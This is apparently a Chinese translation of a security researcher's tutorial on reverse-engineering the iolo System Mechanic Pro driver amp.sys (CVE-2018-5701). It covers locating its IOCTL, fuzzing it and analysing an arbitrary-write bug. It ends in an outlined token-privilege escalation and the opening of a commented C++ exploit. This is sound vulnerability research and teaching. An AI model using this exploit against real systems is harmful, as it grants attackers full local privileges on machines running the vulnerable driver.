购物车

您的购物车目前是空的

商品分类
  1. 嘶货 首页
  2. 企业动态

如何挖掘并利用驱动程序中的安全漏洞

前段时间,我们(last & VoidSec)学习了Windows内核漏洞的利用的相关内容,知道了内核空间的主要概念以及各种防御机制的绕过和利用技术。在本文中,我们将为读者详细介绍,如何在对一个驱动程序的内部情况毫不了解的情况下,通过逆向分析来挖掘和利用其中的安全漏洞。

Windows驱动程序简介

在对驱动程序本身通过逆向分析寻找其中的安全漏洞之前,我们首先要了解什么是驱动程序,以及它们是如何工作的。在Windows系统中,驱动程序本质上就是一些可加载的模块,其中包含了当某些事件发生时将在内核的上下文中执行的相关代码。这些事件可能是需要操作系统处理某些事情的中断或进程;内核会处理这些中断,并通过执行适当的驱动程序来满足这些请求。简单来说,我们可以把驱动程序看作是某种内核端的DLL。事实上,驱动程序被Process Explorer列为系统进程(PID为4的那个进程)内部的已加载模块。

1.png

DriverEntry

接下来,让我们来考察一下驱动程序的结构。就像大多数代码一样,驱动程序也有一个“main”函数,即DriverEntry。在微软官方文档中,这个函数的定义如下所示:

NTSTATUS DriverEntry(
  _In_ PDRIVER_OBJECT  DriverObject,
  _In_ PUNICODE_STRING RegistryPath
);

首先,大家千万不要被SAL注释(参数前的_In_)吓倒了,它只是表示:这两个参数应该是传递给DriverEntry函数的输入参数。其中,参数DriverObject表示一个指向DRIVER_OBJECT数据结构的指针,并且这个数据结构中存放着驱动程序本身的信息;对于这一点,我们稍后将详细加以介绍。另外,参数RegistryPath是一个指向UNICODE_STRING结构体(这是一个包含UTF-16字符串和一些其他控制信息的结构体)的指针,该结构体含有驱动程序映像的注册表路径(内核通过该位置来加载驱动程序代码的.sys文件)。

设备与符号链接

对于一个驱动程序来说,为了允许从用户模式访问它,必须创建一个设备和一个符号链接(也就是symlink),以使它能被标准用户进程所访问。实际上,设备就是让进程与驱动程序进行交互的接口,而符号链接则是我们在调用Win32函数时可以使用的设备名称(即别名)。

那么,符号链接有没有喜闻乐见的例子呢?实际上,C:\就是一个存储设备的符号链接。如果您不相信的话,可以使用Sysinternals的工具WinObj亲自验证一下:切换至根命名空间下的GLOBAL??目录,然后寻找C:,看看它的类型到底是不是符号链接。

 1.png

实际上,驱动程序是使用IoCreateDevice和IoCreateSymbolicLink来创建设备和符号链接的。在对一个驱动程序进行逆向分析时,如果发现这两个函数被连续调用的时候,就可以确定当前看到的是驱动程序实例化设备和符号链接的代码。在大多数情况下,这种情况只发生一次,因为大多数驱动程序只会“暴露”一个设备。

通常情况下,设备名称的格式为\Device\VulnerableDevice;而符号链接的格式则为\\.\VulnerableDeviceSymlink。

现在,我们已经介绍了驱动程序的“前端”,下面让我们来讨论其“后端”:调度例程(dispatch routines)。

调度例程

驱动程序会根据其暴露的设备上被调用的功能来执行不同的操作(也就是函数/例程)。换句话说,当我们对相应的设备调用WriteFile API时驱动程序的行为,与我们调用ReadFile或DeviceIoControl API时的行为是不同的。这种行为是由驱动程序开发人员通过DriverObject结构体的MajorFunctions成员来进行控制的。实际上,成员MajorFunctions就是一个函数指针数组。

像WriteFile、ReadFile或DeviceIoControl这样的API在MajorFunctions数组里面都有一个相应的索引,这样的话,在API函数被调用时,实际上就会调用相关的函数指针。

此外,还有一些宏可以帮助我们记住相关的索引,例如:

· IRP_MJ_CREATE是在调用CreateFile这个API时驱动程序将要调用的函数的指针的索引;

· IRP_MJ_READ是与ReadFile等函数相关的索引。

· IRP_MJ_DEVICE_CONTROL与DeviceIoControl相对应的索引。

假设一个驱动程序开发人员定义了一个名为“MyDriverRead”的函数,以便进程调用驱动程序的设备上的ReadFile API时,能够调用这个函数。那么,他必须在DriverEntry函数(或者在被它调用的函数)中添加如下所示的代码:

DriverObject->MajorFunctions[IRP_MJ_READ] = MyDriverRead;

有了这个声明,驱动程序开发人员就可以确保每次在该驱动程序的设备上调用ReadFile API时,驱动程序的代码都会调用“MyDriverRead”函数。像这样的函数被称为调度例程。

您可能会问:这与我们的逆向分析有关么?答案是肯定的。因为MajorFunctions是一个长度有限的数组,所以,我们可以分配给驱动程序的调度例程也是受限的。当开发人员想要突破这个限制时,该怎么办呢?这时,用户模式函数DeviceIoControl就会派上用场了。

DEVICEIOCONTROL & IOCTL代码

在MajorFunctions数组里面有一个特殊的索引,它定义为IRP_MJ_DEVICE_CONTROL。在这个索引对应的数组元素中存储的是在驱动程序的设备上调用DeviceIoControl API后被调用的调度例程的函数指针。这个函数非常重要,因为它的一个参数是一个32位的整数,通常称为IOCTL(I/O Control,IOCTL)代码。这个IOCTL代码将传递给驱动程序,以便让驱动程序根据DeviceIoControl传递给它的不同IOCTL代码来执行不同的动作。本质上讲,位于索引IRP_MJ_DEVICE_CONTROL处的调度例程,其代码大体上就是一个switch语句:

switch(IOCTL)
{
    case 0xDEADBEEF:
        DoThis();
        break;
    case 0xC0FFEE;
        DoThat();
        break;
    case 0x600DBABE;
    DoElse();
    break;
}

通过这种方式,开发人员就可以根据进程发送的不同IOCTL代码,使其驱动程序调用不同的函数。

这一点非常重要,因为对驱动进行逆向工程时,这种“代码指纹”不仅易于寻找,而且还很容易找到。一旦知道了哪个IOCTL代码通向哪个代码路径,就可以更轻松地对驱动程序进行相应的分析和模糊测试,从而更好地发掘驱动程序内部的安全漏洞。

通过逆向分析查找IOCTL代码

在对驱动程序进行逆向分析时,我们要做的第一件事情,就是找到它用来通信的IOCTL代码和设备名称(symlink)。

在我们的例子中,目标程序是:iolo - System Mechanic Pro v.15.5.0.61 (amp.sys)

安装程序后,我们可以利用WinObj工具来查找设备名称和权限了,具体如下所示:

1.png 

现在,我们已经采集到了设备名称(\Device\AMP),现在是时候获取IOCTL代码了;为此,我们必须将目标驱动程序(amp.sys)加载到一个反汇编器中(我们使用的是IDA),并添加以下所需的结构体(如果缺失的话):

· DRIVER_OBJECT

· IRP

· IO_STACK_LOCATION

首先,我们来考察一下DriverEntry函数。很明显,驱动程序比我们想象的要复杂一些,我们不妨从Imports部分的IoDeviceControl API的交叉引用开始着手。

实际上,我们只有一个来自SUB_2CFE0的结果(我们随后将其重命名为DriverCreateDevice)。

现在,让我们看看下面的基本块图:

 1.png

我们可以看到DeviceName已经被实例化,并且已经传递了DriverObject,这很可能就是我们要找的函数,所以,我们决定对其进行反编译处理。

 1.png

通过观察MajorFunction[14](偏移量0x0e处),我们发现了驱动程序的IRP_MJ_DEVICE_CONTROL,如果存在一组系统定义的I/O控制代码(IOCTL)的话,那么驱动程序必须支持这个请求(在DispatchDeviceControl例程中)。

双击SUB_2C580并进行反编译,我们能够到达该驱动程序的IOCTL代码被定义的地方:

请大家查看下面的“RAW”反编译代码,并尝试找到IOCTL代码:

__int64 __fastcall sub_2C580(__int64 a1, IRP *a2)
{
  BOOLEAN v3; // [rsp+20h] [rbp-38h]
  ULONG v4; // [rsp+24h] [rbp-34h]
  _IO_STACK_LOCATION *v5; // [rsp+28h] [rbp-30h]
  unsigned int v6; // [rsp+30h] [rbp-28h]
  PNAMED_PIPE_CREATE_PARAMETERS v7; // [rsp+38h] [rbp-20h]
  a2->IoStatus.Information = 0i64;
  v5 = a2->Tail.Overlay.CurrentStackLocation;
  if ( v5->Parameters.Read.ByteOffset.LowPart == 2252803 )
  {
    v4 = v5->Parameters.Create.Options;
    v7 = v5->Parameters.CreatePipe.Parameters;
    v3 = IoIs32bitProcess(a2);
    v6 = sub_166D0(v3, v7, v4);
  }
  else
  {
    v6 = -1073741808;
  }
  a2->IoStatus.Status = v6;
  IofCompleteRequest(a2, 0);
  return v6;
}

如果您无法找到它,或者您更喜欢上面代码的增强版本,请参考我们的逆向分析结果:

__int64 __fastcall Driver_IRP_MJ_DEVICE_CONTROL(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
  __int64 result; // rax
  _BYTE Is32BitProcess; // [rsp+20h] [rbp-38h]
  _DWORD bufferSize; // [rsp+24h] [rbp-34h]
  _QWORD IoStackLocation; // [rsp+28h] [rbp-30h]
  NTSTATUS status; // [rsp+30h] [rbp-28h]
  _QWORD userBuffer; // [rsp+38h] [rbp-20h]
  _QWORD; // [rsp+68h] [rbp+10h]
  Irp->IoStatus.Information = 0i64;
  IoStackLocation = Irp->Tail.Overlay.CurrentStackLocation;
  if ( IoStackLocation->Parameters.Read.ByteOffset.LowPart == 0x226003 )// IOCTL Code
  {
    bufferSize = IoStackLocation->Parameters.Create.Options;
    userBuffer = &IoStackLocation->Parameters.CreatePipe.Parameters->NamedPipeType;
    Is32BitProcess = IoIs32bitProcess(Irp);
    status = DriverVulnerableFunction(Is32BitProcess, userBuffer, bufferSize);
  }
  else
  {
    status = 0xC0000010;                        // STATUS_INVALID_DEVICE_REQUEST
  }
  Irp->IoStatus.Status = status;
  IofCompleteRequest(Irp, 0);
  return (unsigned int)status;
}

我们可以对IOCTL代码(0x226003)做进一步的解码,以了解内核访问随IOCTL请求传递的数据缓冲区所使用的方法。使用OSR Online IOCTL Decoder工具,我们可以获得以下信息:

 1.png

实际上,METHOD_NEITHER是最不安全的一个方法,因为它可以用来访问随IOCTL请求传递的数据缓冲区。当使用这个方法时,I/O管理器不会对用户数据进行任何形式的验证,而是直接将原始数据传递给驱动程序。这确实是个好消息,因为在没有任何验证的情况下,在管理用户数据的代码中发现bug/漏洞的概率会更高。

太好了!现在,我们已经找到了IOCTL代码(0x226003)和DeviceName(\\Device\\AMP),接下来,我们就可以继续对驱动程序进行模糊测试,以寻找安全漏洞了。

进行模糊测试

在上面的逆向分析环节中,我们已经找到了IOCTL代码;接下来,我们开始通过ioctlbf对驱动程序进行模糊测试。

实际上,ioctlbf的语法非常简单。首先,我们必须通过参数-d提供相应的设备名,然后,提供要模糊测试的IOCTL代码(借助于参数-i),再后面是-u参数,意思是只对前面提供的IOCTL代码进行模糊测试(实际上,这里不需要特别指出,因为我们已经发现该驱动程序只有一个IOCTL代码)。

 1.png

在启动ioctlbf之后,我们会立即(在我们的debuggee机器上)看到以下消息(amp+6c8d):

Access violation - code c0000005 (!!! second chance !!!)
fffff801`3ae96c8d 488b0e          mov     rcx,qword ptr [rsi]
PROCESS_NAME:  ioctlbf.EXE
READ_ADDRESS:  0000000000000000
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE_STR:  c0000005
EXCEPTION_PARAMETER1:  0000000000000000
EXCEPTION_PARAMETER2:  0000000000000000
STACK_TEXT: 
ffff9304`c35c66e0 ffffe60b`ecd87bb0     : 00000000`00000001 00000000`00000000 fffff801`35c23f8b ffff9304`c35c6700 : amp+0x6c8d
ffff9304`c35c66e8 00000000`00000001     : 00000000`00000000 fffff801`35c23f8b ffff9304`c35c6700 00000000`00000001 : 0xffffe60b`ecd87bb0
ffff9304`c35c66f0 00000000`00000000     : fffff801`35c23f8b ffff9304`c35c6700 00000000`00000001 ffffe60b`e5303c80 : 0x1

看起来,这好像是一个NULL指针解引用导致的错误消息。因此,我们决定深入逆向该驱动程序,看看为什么会发生访问违规,以及是否能够设法利用这个漏洞。

漏洞的成因分析

分析SUB_2C580函数(调度例程)

当在设备上调用DeviceIoControl API时,被调用的调度例程为函数SUB_2C580。借助于IDA Pro的反编译器,我们可以看到这个函数会接收2个参数:

1.第一个参数是指向DeviceObject(IDA将其命名为a1)的指针。

2.第二个参数是传递给设备的IRP结构体(IDA称其命名为a2)的指针。

通过IRP结构体的指针,该函数能够提取出当前的堆栈位置(_IO_STACK_LOCATION);需要说明的是,这个结构体包含了DeviceIoControl发送的内存缓冲区。同时,这个结构体被保存在局部变量v5里面。

 1.png

好了,下面我们开始考察下一行(第11行),它用于对缓冲区中包含的IOCTL(位于Parameters.Read.ByteOffset.LowPart成员里面)与硬编码在驱动程序代码中的值(其十进制表示为2252803,十六进制表示为0x226003)进行比较:

 1.png

上面是驱动程序调用与此特定IOCTL代码相关联的函数的代码,该函数是SUB_166D0。在跳入该函数之前,我们必须先解释一下传递给上述函数的三个参数,即v3、v7和v4:

1、v3是IoIs32BitProcess函数的返回值。这是一个简单的布尔值,用于指出调用进程是32位的(TRUE)还是64位的(FALSE)。

2、v7是指向实际用户缓冲区的指针,在本例中,它指向用户空间中的一个地址。该地址正是作为参数传递给DeviceIoControl API的那个地址。

3、v4是前面提到的缓冲区的大小。

分析SUB_166D0函数

由于这个函数比前一个函数稍微复杂一些,所以,我们不妨先来分析各个返回值,以了解代码流程和对输入所施加的各种约束。

其中,这里有5个return语句,每个语句都有一个状态码。让我们将它们转换成十六进制,具体如下所示:

1、return 0xC0000023 == STATUS_BUFFER_TOO_SMALL

2、return 0xC0000023 == STATUS_BUFFER_TOO_SMALL

3、return 0xC0000001 == STATUS_UNSUCCESSFUL

4、return 0xC000000D == STATUS_INVALID_PARAMETER

5、return 0x0 == STATUS_SUCCESS

我们可以从MSDN上找到这些状态码,并记下它们的含义。现在,我们已经知道了每个状态码的含义,接下来就可以推测每个代码块的作用了,让我们先从第一个代码块开始。

我们之前说过,参数a1是调用者传递给函数的第一个参数,并且是IoIs32BitProcess的返回值;而参数a3则是缓冲区的大小。因此,如果调用进程是32位的,则缓冲区大小必须等于或大于12字节(0xC)。

 1.png

如果该进程是64位的,则缓冲区的大小必须等于或大于24个字节(0x18)。

在这两种情况下,如果缓冲区大小具有适当的长度,代码就会跳转到LABEL_6。在64位的情况下,我们通过将输入的结构体划分为3个8字节长的值来创建更多的局部变量。

 1.png

v8 = *(_QWORD *)a2;

v9 = *((_QWORD *)a2 + 1);

v10 = *((_QWORD *)a2 + 2);

通过观察上面的反编译代码,我们猜测输入缓冲区一定是某种24字节长的结构,并由三个不同的8字节字段组成。我们可以看到,v8、v9以及v10是以递增的偏移量来访问输入缓冲区地址,然后对这些指针解除引用,进而获得相应的值。

 1.png

注意:这是通过一些指针运算完成的。如果您对C语言比较生疏,下面的解释可以帮助您理解第25、26和27行代码的作用:

· 第25行:取a2,将其转换为指向64位值的指针(这对应于该行中的(_QWORD *)a2部分),然后,解除该指针的引用,也就是在(_QWORD *)a2前面加上一个星号*。

· 第26行:和上面一样,但在将a2转换为一个指向64位值的指针后,会先+1。这意味着我们现在正在寻找结构体中的下一个QWORD,也就是下一个由8字节组成的字段。

· 第27行:和上面类似,但是这次将跳到第3个QWORD,也就是第一个QWORD之后的16个字节直接由a2指向。

下一个代码块以LABEL_6开头:

 1.png

qword_38B28定义的是一个在运行时填充的地址,其中包含一个32位的值0x00000009。我们可以用WinDbg对这个函数设置一个断点,然后,用之前找到的IOCTL代码调用DeviceIoControl API来对其进行考察。

为了能够发送任意的IOCTL请求,我们使用了一个开源软件:IOCTLpus。

IOCTLpus是由Jackson Thuraisamy开发的,但该软件的一个分叉目前是由VoidSec积极维护的。简单来说,我们可以将其视为可通过任意输入发送DeviceIoControl请求的工具(其功能与Burp Repeater有点类似)。

 1.png

通过IOCTLpus执行任意的DeviceIoControl请求,并逐渐改变UserBuffer的值,我们发现这个漏洞并不是一个NULL指针解引用问题。相反,这是一个非常奇怪的ioctlbf的行为所致:将所有缓冲区的值设置为0,这使得该漏洞看起来像一个NULL指针解引用问题,而掩盖了真正的任意写入问题。

提示:在将WinDbg附加到debuggee之后,需要运行以下命令以获得驱动程序的基址:lm vm amp,然后转到IDA -> Edit -> Segments -> Rebase Program菜单,并设置当前分析的文件的基址,以便将所有地址都变成绝对地址,从而使得反编译的代码与在WinDbg中看到的内容之间具有一致性。

下面我们继续进行分析:在第34行,对qword_38B28指向的DWORD(32位值)与变量v4进行了比较。这个变量是用v8的值进行初始化的,而v8又是我们输入结构体的第一个字段的值。因此,我们发现,如果输入缓冲区的前4个字节包含一个大于或等于qword_38B28(0x00000009)所指向的32位值的值,就会导致检查失败,这样的话,该函数将返回STATUS_INVALID_PARAMETER。

如果检查成功,输入结构体的第一个字段的值将用作“switch”子句的索引。

v8 = *(_QWORD *)(qword_38B28 + 16i64 * v4 + 8);

v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);

您可能会问,为什么是switch语句?现在,请相信我们的话,我们将在分析SUB_16C40函数时验证这一点(它将v8的地址作为参数)。

下面是反编译后的SUB_166D0函数:

__int64 __fastcall DriverVulnerableFunction(bool BoolIs32BitProcess, unsigned int *userBuffer, unsigned int bufferSize)
{
  unsigned int field1_32; // eax
  __int64 field2_32; // r8
  __int64 field3_32_ptr; // rbx
  __int64 field1_64; // [rsp+20h] [rbp-28h] BYREF
  __int64 field2_64; // [rsp+28h] [rbp-20h]
  __int64 field3_64_ptr; // [rsp+30h] [rbp-18h]
  __int64 *v11; // [rsp+38h] [rbp-10h]
  __int64 v12; // [rsp+68h] [rbp+20h] BYREF
  if ( BoolIs32BitProcess )
  {                                             // 32 bit Process
    if ( bufferSize >= 12 )
    {                                           // Struct contaning 3 32-bits fields
      field1_32 = *userBuffer;                  // (int)userBuffer[0];
      field2_32 = (int)userBuffer[1];
      field3_32_ptr = (int)userBuffer[2];
      goto LABEL_6;
    }
    return 0xC0000023i64;                       // STATUS_BUFFER_TOO_SMALL
  }
  if ( bufferSize < 24 )                        // 64 bit Process
    return 0xC0000023i64;                       // STATUS_BUFFER_TOO_SMALL
  field1_64 = *(_QWORD *)userBuffer;            // Struct contaning 3 64-bits fields
  field2_64 = *((_QWORD *)userBuffer + 1);
  field3_64_ptr = *((_QWORD *)userBuffer + 2);
  field3_32_ptr = field3_64_ptr;
  field2_32 = field2_64;
  field1_32 = field1_64;
LABEL_6:
  if ( !qword_FFFFF80068928B28 )
    return 0xC0000001i64;                       // STATUS_UNSUCCESSFUL
  if ( field1_32 >= *(_DWORD *)qword_FFFFF80068928B28 )// MUST BE < 9
    return 0xC000000Di64;                       // STATUS_INVALID_PARAMETER
  field2_64 = field2_32;
  field1_64 = *(_QWORD *)(qword_FFFFF80068928B28 + 16i64 * field1_32 + 8);// jmp table (0-8)
  LODWORD(field3_64_ptr) = *(_DWORD *)(qword_FFFFF80068928B28 + 16i64 * field1_32 + 16);// set lower 32 bits of fields3_64
  v11 = &v12;
  jmptable(&field1_64);                         // addr jmp table based
  if ( BoolIs32BitProcess )
    *(_DWORD *)field3_32_ptr = v12;
  else
    *(_QWORD *)field3_32_ptr = v12;
  return 0i64;                                  // SUCCESS
}

分析SUB_16C40函数

说实话,这个函数还是让我们比较头疼的,因为反编译后的代码不仅对我们的帮助不大,甚至还有些误导作用:

void __fastcall sub_16C40(__int64 a1)
{
  unsigned __int64 v2; // rcx
  __int64 v3; // rax
  void *v4; // rsp
  char vars20; // [rsp+20h] [rbp+20h] BYREF
  v2 = *(unsigned int *)(a1 + 16);
  v3 = v2;
  if ( v2 < 0x20 )
  {
    v2 = 40i64;
    v3 = 32i64;
  }
  v4 = alloca(v2);
  if ( v3 - 32 > 0 )
    qmemcpy(&vars20, (const void *)(*(_QWORD *)(a1 + 8) + 32i64), v3 - 32);
  **(_QWORD **)(a1 + 24) = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)(
                             **(_QWORD **)(a1 + 8),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64));
}

看了上面的代码,我们通常立即认为qmemcpy就是正确的目标函数,因为把UserBuffer的值复制到一个用户控制的位置时,可能会触发任意写入漏洞。

有了memcpy函数,我们就想当然的以为可以通过memcpy ( *destination, *source, size_t); 掌控全局;但有时只盯住一棵树反而会忽略了整篇森林。在花了我大量的时间之后,我们“猛然发现”导致访问违规的指令其实与memcpy本身毫无瓜葛,而是与memcpy之后的另一条指令有关;如果大家还记得前面的内容的话,应该知道访问违规发生在amp+6c8d处。

于是,我们重新考察“原始”的汇编代码,而不是反编译后的类似C语言的伪代码,这次事情终于有了转机:

.text:0000000000016C6A                 sub     rsp, rcx
.text:0000000000016C6D                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000016C71                 lea     rcx, [rax-20h]
.text:0000000000016C75                 test    rcx, rcx
.text:0000000000016C78                 jle     short loc_16C89
.text:0000000000016C7A                 mov     rsi, [rbx+8]
.text:0000000000016C7E                 lea     rsi, [rsi+20h]
.text:0000000000016C82                 lea     rdi, [rsp+var_s20]
.text:0000000000016C87                 rep movsb
.text:0000000000016C89
.text:0000000000016C89 loc_16C89:                              ; CODE XREF: sub_16C40+38↑j
.text:0000000000016C89                 mov     rsi, [rbx+8]
.text:0000000000016C8D                 mov     rcx, [rsi]
.text:0000000000016C90                 mov     rdx, [rsi+8]
.text:0000000000016C94                 mov     r8, [rsi+10h]
.text:0000000000016C98                 mov     r9, [rsi+18h]
.text:0000000000016C9C                 call    qword ptr [rbx]

违规访问发生在16C8D处,对应的指令为mov rcx,[rsi],但如果仔细观察该指令前后的内容,根本就找不到对memcpy的调用,这就奇了怪了。

好吧,严格来说这也不是怪事,但我们必须再深入研究一下,才能发现IDA的行为。正如有位逆向分析高手向我们解释的那样,是movesb指令使得IDA在rep movsb将rcx字节从rsi复制到rdi时触发了qmemcpy 。

总之,通过考察mov rcx,[rsi]指令,并追溯rsi寄存器的赋值和使用情况,我们发现它的值来自于rcx寄存器:

.text:0000000000016C47                 mov     rbx, rcx
.text:0000000000016C89                 mov     rsi, [rbx+8]
.text:0000000000016C8D                 mov     rcx, [rsi]

RCX寄存器(按照x86_64的快速调用惯例)用于传递函数参数(即前面的参数使用RCX、RDX、R8和R9寄存器;其余的参数通过堆栈传递)。

由于SUB_16C40只从SUB_166D0中获取一个参数(如果你还记得的话,实际上就是SUB_166D0中的v8),RCX将用于存放该参数的地址,而该地址又是从用户缓冲区(field1)中获取的。

现在很明显,由于ioctlbf将整个用户缓冲区设置为0的奇怪行为,导致了访问违规。在这种情况下,其值全部为0的第一个用户缓冲区将用来计算v8的值(v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);),所以,当mov rcx, [rsi]指令被执行时,rsi寄存器中保存的是一个要解除引用的、指向无效内存位置的指针。

再看往下查看原始的汇编代码,我们可以发现又准备了一个快速调用“call”来填充rcx、rdx、r8和r9寄存器:

.text:0000000000016C8D                 mov     rcx, [rsi]
.text:0000000000016C90                 mov     rdx, [rsi+8]
.text:0000000000016C94                 mov     r8, [rsi+10h]
.text:0000000000016C98                 mov     r9, [rsi+18h]
.text:0000000000016C9C                 call    qword ptr [rbx]

这里发生了一件有趣的事情:不知何故,如果RBX(或者我们以前的v8 .text:00000000016C47 mov rbx, rcx )是一个有效的内存地址,它就会被操作码call所调用。

从这里开始,IDA就作用不大了:RBX的值对IDA来说是未知的,因为它是在运行时计算出来的,所以IDA无法跟踪并反汇编上述调用的结果。

事实上,由于v8只能小于9(如SUB_166D0所示),因此表达式v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);的取值范围是非常有限的。

为此,我们可以用IOCTLpus生成所有的情况,然后用windbg进行跟踪,就得到了下面的列表(对应于各个switch子句):

1、sub_2CBA0

2、sub_2CB20

3、sub_2C960

4、sub_2C850

5、sub_2C7F0

6、sub_18D20

7、sub_2C510

8、sub_2C360

9、sub_2C460

分析sub_2C460函数

在以上所有函数中,sub_2C460是最有前途的,因为我们可以借助它对任意地址执行写操作,但我们却无法控制写入的值。

__int64 __fastcall jmp8(_DWORD *a1)
{
  unsigned int v2; // [rsp+20h] [rbp-38h]
  v2 = 0;
  if ( !a1 )  // must be === 0
    return 0xFFFFFFFE;
  sub_FFFFF800689067D0((__int64)a1, 0x2Cui64);
  if ( *a1 != 44i64 )
    return 4;
  qmemcpy(a1, &unk_FFFFF80068926BA8, 0x2Cui64);
  return v2;
}

上面的SUB_2C460函数将返回值0xFFFFFFFE,对于我们的特权升级漏洞来说,这几乎是完美的。

漏洞分析回顾

现在,我们来总结一下前面的分析结果:

· 我们发现,受我们控制的、发送给易受攻击的驱动程序的用户缓冲区是由一个24字节长的结构体组成的,可以划分为三个长度为8字节的字段。

· 第一个字段必须始终包含一个小于9的整数值(SUB_166D0),在我们的特定情况下,必须是8才能达到SUB_2C460函数。具体来说,第一个字段由包含0x00000008值的低位部分(前8个字节)组成,而高位部分可以是任何内容(因为它被用作填充之用)。

· 第二个字段必须是指向一个地址的有效指针,一旦解除引用,该地址对应的值必须为0(详见SUB_2C460函数)。

· 第三个字段应该包含SUB_2C460的返回值(0xFFFFFFFE)要写入的地址。

利用令牌特权实现LPE

您可能会奇怪,前面为什么说返回值0xFFFFFFFE简直是完美的呢?众所周知,为了成功进行权限提升,我们需要借助于其他技术,例如:

· 窃取一个SYSTEM令牌,并用它代替我们自己的进程的令牌。

· 覆盖负责保存进程令牌值的内核结构体。

现在,让我们考虑第二种情况,因为任意写入非常适合这种技术。

我们知道,Windows使用令牌对象(该对象是由nt!_TOKEN结构体表示的)来描述特定线程或进程的安全上下文。因此,系统上的每个进程都在其EPROCESS结构体中保存一个令牌对象引用,该引用在对象访问协商或系统任务赋权期间都会用到。

实际上,与特权提升相关条目是_SEP_TOKEN_PRIVILEGES,在_TOKEN结构体中的偏移量为0x40,其中存放的是令牌的特权信息:

kd> dt nt!_SEP_TOKEN_PRIVILEGES c5d39c30+40
  +0x000 Present          : 0x00000006`02880000
  +0x008 Enabled          : 0x800000
  +0x010 EnabledByDefault : 0x800000

· 第一个字段Present,为一个unsigned long long值,用于表示令牌的当前特权。但是,这并不意味着这些权限已启用或禁用,而只是存在于该令牌中。创建令牌后,我们就无法为其添加特权了;相反,我们只能启用或禁用在此字段中找到的现有选项。

· 第二个字段Enabled,为一个无符号长整型值,表示令牌上所有已启用的特权。不过,必须在此位掩码中启用相应的特权才能通过SeSinglePrivilegeCheck检查。

· 最后一个字段EnabledByDefault表示令牌的初始状态。

如果用0xFFFFFFFF值覆盖Present和Enabled字段,我们就能够有效地启用位掩码中的所有位,从而启用所有特权。因此,如果能够写入一个受控的值0xFFFFFFFE,那就再好不过了。

漏洞利用

对于该漏洞的利用过程,具体如下所示:

1.打开当前的进程令牌——它被用来检索其内核空间地址。

2.使用NtQuerySystemInformation API来泄露所有带有句柄的对象的内核地址。

3.在当前进程中找到令牌句柄,并有效地绕过kASLR机制获得内核地址。

4.为易受攻击的驱动程序构建一个IOCTL请求,该请求将返回0xFFFFFFFE,并将输出缓冲区地址设置为指向令牌当前权限字段。

5.对Enabled和EnabledByDefault字段重复前面的处理方法。

6.生成一个子进程,该进程将继承由上述写操作授予的所有令牌权限

与往常一样,读者可以在下面或我的Github页面上找到具有详细注释的C++代码:

/*
Exploit title:      iolo System Mechanic Pro v. <= 15.5.0.61 - Arbitrary Write Local Privilege Escalation (LPE)
Exploit Authors:    Federico Lagrasta aka last - https://blog.notso.pro/
                    Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
CVE:                CVE-2018-5701
Date:               28/03/2021
Vendor Homepage:    https://www.iolo.com/
Download:           https://www.iolo.com/products/system-mechanic-ultimate-defense/
                    https://mega.nz/file/xJgz0QYA#zy0ynELGQG8L_VAFKQeTOK3b6hp4dka7QWKWal9Lo6E
Version:            v.15.5.0.61
Tested on:          Windows 10 Pro x64 v.1903 Build 18362.30
Category:           local exploit
Platform:           windows
*/
#include
#include
#include
#include
#include
#define IOCTL_CODE 0x226003 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2
// define the buffer structure which will be sent to the vulnerable driver
typedef struct Exploit
{
    uint32_t Field1_1;  // must be 0x8 as this index will be used to calculate the address in a jump table and trigger the vulnerable function
    uint32_t Field1_2;  // "padding" can be anything
    int *Field2;        // must be a pointer that, once dereferenced, cotains 0
    void *Field3;       // points to the adrress that will be overwritten by 0xfffffffe - Arbitrary Write
};
// define a pointer to the native function 'NtQuerySystemInformation'
using pNtQuerySystemInformation = NTSTATUS(WINAPI *)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength);
// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
// define the SYSTEM_HANDLE_INFORMATION structure
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
int main(int argc, char **argv)
{
    // open a handle to the device exposed by the driver - symlink is \\.\amp
    HANDLE device = ::CreateFileW(
        L"\\\\.\\amp",
        GENERIC_WRITE | GENERIC_READ,
        NULL,
        nullptr,
        OPEN_EXISTING,
        NULL,
        NULL);
    if (device == INVALID_HANDLE_VALUE)
    {
        std::cout << "[!] Couldn't open handle to the System Mechanic driver. Error code: " << ::GetLastError() << std::endl;
        return -1;
    }
    std::cout << "[+] Opened a handle to the System Mechanic driver!\n";
    // resolve the address of NtQuerySystemInformation and assign it to a function pointer
    pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
    if (!NtQuerySystemInformation)
    {
        std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
        return -1;
    }
    std::cout << "[+] Resolved NtQuerySystemInformation!\n";
    // open the current process token - it will be used to retrieve its kernelspace address later
    HANDLE currentProcess = ::GetCurrentProcess();
    HANDLE currentToken = NULL;
